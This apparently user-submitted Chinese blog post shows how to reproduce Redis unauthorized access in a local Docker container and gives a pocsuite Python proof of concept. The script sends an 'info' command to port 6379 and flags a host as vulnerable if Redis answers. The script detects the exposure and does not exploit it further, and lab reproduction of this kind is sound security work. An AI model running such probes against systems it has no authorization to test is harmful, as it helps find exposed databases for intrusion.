Redis未授权访问docker复现(docker启动redis失败)

网友投稿 297 2022-10-09


Redis未授权访问docker复现(docker启动redis失败)

docker搜索Redis镜像

docker search redis

拉去镜像到本地

docker pull redis

查看下载好的镜像

docker images

运行镜像

docker run -p 6379:6379 -d redis

-p 将容器的6379端口映射到主机的6379端口。

-d 将容器后台运行。

查看运行中的镜像

docker ps

POC构成

#!/usr/bin/env python # -*- coding: utf-8 -*- import socket from pocsuite.utils import register from pocsuite.poc import Output, POCBase class TestPOC(POCBase): vulID = '0' version = '1' author = 'nw01f' vulDate = '2018-10-23' createDate = '2018-10-23' updateDate = '2018-10-23' references = ['http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'] name = 'Redis Unauthorized' appPowerLink = 'https://redis.io' appName = 'Redis' appVersion = 'All' vulType = 'Unauthorized' desc = ''' redis Unauthorized ''' samples = [''] def _verify(self): result = {} payload = '\x69\x6e\x66\x6f\x0d\x0a' ## info/r/n s = socket.socket() socket.setdefaulttimeout(4) try: host = self.url.split(':')[1].strip('/') if len(self.url.split(':')) > 2: port = int(self.url.split(':')[2].strip('/')) else: port = 6379 s.connect((host, port)) s.send(payload) data = s.recv(1024) if data and 'redis_version' in data: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = self.url result['VerifyInfo']['port'] = port result['VerifyInfo']['result'] = data[:20] except Exception as e: print e s.close() return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail("error") return output register(TestPOC)

参考链接


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:java版十大排序经典算法:完整代码
下一篇:AAA与RADIUS应用一login登录服务验证
相关文章

 发表评论

暂时没有评论,来抢沙发吧~